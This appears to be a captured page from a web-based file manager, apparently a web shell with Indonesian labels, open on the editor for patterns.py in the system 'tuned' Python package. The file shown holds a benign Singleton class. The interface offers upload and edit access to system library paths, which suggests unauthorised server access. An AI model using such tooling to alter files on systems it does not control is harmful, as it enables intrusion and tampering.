CURRENT PATH:
/
usr
/
lib
/
python3.9
/
site-packages
/
tuned
/
[ ⬅ KEMBALI ]
|
[ HOME ]
Upload File:
Upload Ke Sini
Dir Baru
File Baru
Editing:
patterns.py
class Singleton(object): """ Singleton design pattern. """ _instance = None def __init__(self): if self.__class__ is Singleton: raise TypeError("Cannot instantiate directly.") @classmethod def get_instance(cls): """Get the class instance.""" if cls._instance is None: cls._instance = cls() return cls._instance
SIMPAN
[ BATAL ]